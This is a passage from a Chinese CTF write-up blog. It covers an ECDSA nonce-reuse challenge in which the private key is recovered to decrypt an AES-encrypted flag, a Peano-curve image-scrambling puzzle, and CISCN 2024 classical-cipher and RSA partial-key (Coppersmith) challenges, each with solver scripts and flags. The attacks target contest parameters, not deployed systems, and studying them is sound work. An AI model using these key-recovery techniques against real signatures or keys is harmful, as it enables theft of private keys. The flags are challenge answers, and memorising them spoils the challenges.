yG = 0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8
G = (xG, yG)
n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
h = 1
zero = (0,0)

dA = nextprime(random.randint(0, n))

if dA > n:
print("warning!!")

def addition(t1, t2):
if t1 == zero:
return t2
if t2 == zero:
return t2
(m1, n1) = t1
(m2, n2) = t2
if m1 == m2:
if n1 == 0 or n1 != n2:
return zero
else:
k = (3 * m1 * m1 + a) % p * gmpy2.invert(2 * n1 , p) % p
else:
k = (n2 - n1 + p) % p * gmpy2.invert((m2 - m1 + p) % p, p) % p
m3 = (k * k % p - m1 - m2 + p * 2) % p
n3 = (k * (m1 - m3) % p - n1 + p) % p
return (int(m3),int(n3))

def multiplication(x, k):
ans = zero
t = 1
while(t <= k):
if (k &t )>0:
ans = addition(ans, x)
x = addition(x, x)
t <<= 1
return ans

def getrs(z, k):
(xp, yp) = P
r = xp
s = (z + r * dA % n) % n * gmpy2.invert(k, n) % n
return r,s

z1 = random.randint(0, p)
z2 = random.randint(0, p)
k = random.randint(0, n)
P = multiplication(G, k)
hA = multiplication(G, dA)
r1, s1 = getrs(z1, k)
r2, s2 = getrs(z2, k)

print("r1 = {}".format(r1))
print("r2 = {}".format(r2))
print("s1 = {}".format(s1))
print("s2 = {}".format(s2))
print("z1 = {}".format(z1))
print("z2 = {}".format(z2))

key = sha256(long_to_bytes(dA)).digest()
cipher = AES.new(key, AES.MODE_CBC)
iv = cipher.iv
encrypted_flag = cipher.encrypt(pad(victory_encrypted_flag.encode(), AES.block_size))
encrypted_flag_hex = binascii.hexlify(iv + encrypted_flag).decode('utf-8')

print("Encrypted flag (AES in CBC mode, hex):", encrypted_flag_hex)

# output
# r1 = 76712729228617953759327460769502934288442352683563219334681162937413283736816
# r2 = 76712729228617953759327460769502934288442352683563219334681162937413283736816
# s1 = 61142716522536931000933884258275974451672976799526648226417247076297644105637
# s2 = 110325312844668993695487572180262093359430311098679377435432296948029997765038
# z1 = 98842149708744845426265508894541731680137086618921535447693509433269270288237
# z2 = 78136168258634736524120345789104208327951990634981072456222624757958532742853
# ('Encrypted flag (AES in CBC mode, hex):', u'12d5174f2548c179287c7a2ce98a60b20a2dea24611a10d05a8dda9e7bda5f00e260e0c75e62ef6cb1e3341361ddb36b665b471be124ae3a9271da69a21ce8d6')

解答:

一步一步分析即可,首先逆向解出k和dA,这个直接做运算即可

然后把三轮的r和s放进去

将s分为两部分 取前十六位作为初始化的向量 后面是正常的加密的部分

然后计算私钥dA对应的 SHA-256 哈希值作为密钥key_temp。使用CBC 模式,以key_temp为密钥,flag_1为初始化向量,对enflag进行解密,得到decrypted_flag。

最后用题目提供的解密函数进行解密即可,得到flag

py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from gmpy2 import *
p = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f
a = 0
b = 7
xG = 0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798
yG = 0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8
G = (xG, yG)
n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
h = 1
zero = (0,0)

r1=76712729228617953759327460769502934288442352683563219334681162937413283736816

s1 = 61142716522536931000933884258275974451672976799526648226417247076297644105637
s2 = 110325312844668993695487572180262093359430311098679377435432296948029997765038
z1 = 98842149708744845426265508894541731680137086618921535447693509433269270288237
z2 = 78136168258634736524120345789104208327951990634981072456222624757958532742853

k=(gmpy2.invert(s1-s2,n)*(z1-z2)+n)%n
dA=gmpy2.invert(r1,n)*(k*s1-z1)%n

s=u'12d5174f2548c179287c7a2ce98a60b20a2dea24611a10d05a8dda9e7bda5f00e260e0c75e62ef6cb1e3341361ddb36b665b471be124ae3a9271da69a21ce8d6'
ans=binascii.unhexlify(s)
flag_1=ans[:16]
enflag=ans[16:]
key_temp = sha256(long_to_bytes(dA)).digest()
cipher = AES.new(key_temp, AES.MODE_CBC,flag_1)
decrypted_flag = unpad(cipher.decrypt(enflag), AES.block_size)

def victory_decrypt(ciphertext, key):
key = key.upper()
key_length = len(key)
plaintext = ''

for i, char in enumerate(ciphertext):
if char.isalpha():
shift = ord(key[i % key_length]) - ord('A')
decrypted_char = chr((ord(char) - ord('A') - shift) % 26 + ord('A'))
plaintext += decrypted_char
else:
plaintext += char

return plaintext

victory_encrypted_flag = decrypted_flag.decode()
victory_key = "WANGDINGCUP"
flag = victory_decrypt(victory_encrypted_flag, victory_key)
print(flag.lower())
#wdflag{d4d98e3c6224cb3f641483f31d33ce58}

Misc

Misc4

是一种皮亚诺曲线的加密

解密脚本如下:参考了https://almostgph.github.io/2024/01/08/IrisCTF2024/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from PIL import Image
from tqdm import tqdm

def peano(n):
if n == 0:
return [[0,0]]
else:
in_lst = peano(n - 1)
lst = in_lst.copy()
px,py = lst[-1]
lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + 1 + i[0], py - i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px - i[0], py - 1 - i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + i[0], py - 1 - i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + 1 + i[0], py + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
return lst

order = peano(6)

img = Image.open(r"C:\Users\Lenovo\Desktop\1.png")

width, height = img.size

block_width = width # // 3
block_height = height # // 3

new_image = Image.new("RGB", (width, height))

for i, (x, y) in tqdm(enumerate(order)):
# 根据列表顺序获取新的坐标
new_x, new_y = i % width, i // width
# 获取原图像素
pixel = img.getpixel((x, height - 1 - y))
# 在新图像中放置像素
new_image.putpixel((new_x, new_y), pixel)

new_image.save("rearranged_image.jpg")

跑出来的结果存在了anaconda目录下 打开得到二维码

扫描二维码得到flag

1
wdflag{b9367dd6-2d7e-4ef7-ba5c-270a6c6220cd}

2024CISCN

Posted on 2024-05-19 | In WriteUp

第一次打国赛,只会两个签到题,求放过

Crypto

古典密码

1
AnU7NnR4NassOGp3BDJgAGonMaJayTwrBqZ3ODMoMWxgMnFdNqtdMTM9

我们观察这一串字符,猜测使用了base64换表,进行解密,发现出问题了

我们使用随波逐流脚本工具,对其进行一个一个的暴力猜测,最后发现使用Atbash解密,获得一串字符串

1
ZmF7MmI4MzhhLTk3YWQtZTlmNzQzbGdiYjA3LWNlNDctNmUwMjgwNGN9

然后我们用base64进行解密,得到:fa{2b838a-97ad-e9f743lgbb07-ce47-6e02804c}

发现已经出现了fa和括号的形式,所以我们用栅栏解密进行破解,栅栏栏数为2

得到最后的flag:flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}

OvO

首先我们观察题目,题目遮住了e的200个最低位,所以我们已知e的最高位,而我们题目中的kk是可以通过直接作除法得到的,我们利用n比p和q大得多的性质,直接近似计算出我们的

然后我们尝试去化简我们题目中给出的式子:

然后我们对两边做乘以p的操作,就可以对其进行化简了

这样我们就可以做近似处理了,我们发现整个式子,只有p是未知的,我们已知kk和n,然后e的高位,所以我们可以根据该方程求解出我们的p的高位,然后再使用p高位泄露破解我们的n就可以了

sage脚本如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
n =  111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
k = e // n - 2
tmp = 65537 + (k+2)*n + (k+2)+1
R.<x> = PolynomialRing(RealField(1024))
f = e*x - (2*(k+1)*x^2 + (k+2)*n + tmp*x)
res = f.roots()

for root in res:
p_h = int(root[0])
PR.<x> = PolynomialRing(Zmod(n))
f1 = x + p_h
roots = f1.monic().small_roots(X=2^200,beta=0.4)
if roots:
p = int(roots[0]) + p_h
q = n // p
e = 65537 + k * p + (k+2) * ((p+1) * (q+1)) + 1
print(p)
print(q)
print(e)

通过在线sagemath求解出了我们的p,q和e

我们得到了:

1
2
3
p=9915449532466780441980882114644132757469503045317741049786571327753160105973102603393585703801838713884852201325856459312958617061522496169870935934745091
q=11287710353955888973017088237331029225772085726230749705174733853385754367993775916873684714795084329569719147149432367637098107466393989095020167706071637
e=37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226053225696381145049303216018329937626866082580192534109310743249

然后就是简单的RSA解密

1
2
3
4
5
6
7
8
9
10
11
p=9915449532466780441980882114644132757469503045317741049786571327753160105973102603393585703801838713884852201325856459312958617061522496169870935934745091
q=11287710353955888973017088237331029225772085726230749705174733853385754367993775916873684714795084329569719147149432367637098107466393989095020167706071637
e=37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226053225696381145049303216018329937626866082580192534109310743249
c=14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
from gmpy2 import *
from Crypto.Util.number import *
n=p*q
phi=(p-1)*(q-1)
d=invert(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))

最后我们得到了flag:flag{b5f771c6-18df-49a9-9d6d-ee7804f5416c}

<i class="fa fa-angle-left"></i>1…345<i class="fa fa-angle-right"></i>

42 posts
7 categories
© 2025 Luhaozhhhe
Powered by Hexo
|
Theme — NexT.Pisces v5.1.4